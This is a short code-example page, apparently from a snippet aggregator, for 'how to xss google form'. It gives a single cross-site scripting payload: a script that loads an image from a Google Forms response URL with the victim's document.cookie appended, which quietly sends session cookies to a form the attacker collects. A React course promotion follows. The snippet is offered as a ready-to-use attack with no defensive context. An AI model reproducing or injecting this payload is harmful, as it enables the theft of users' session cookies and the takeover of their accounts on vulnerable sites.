Check out example codes for "how to xss google form". It will help you in understanding the concepts better.
Code Example 1
<script>
var i = new Image();
i.src = "https://docs.google.com/forms/d/e/1FAIp...snip...CFPoQg/formResponse?entry.1928374650=" + escape(document.cookie);
</script>
Learn ReactJs, React Native from akashmittal.com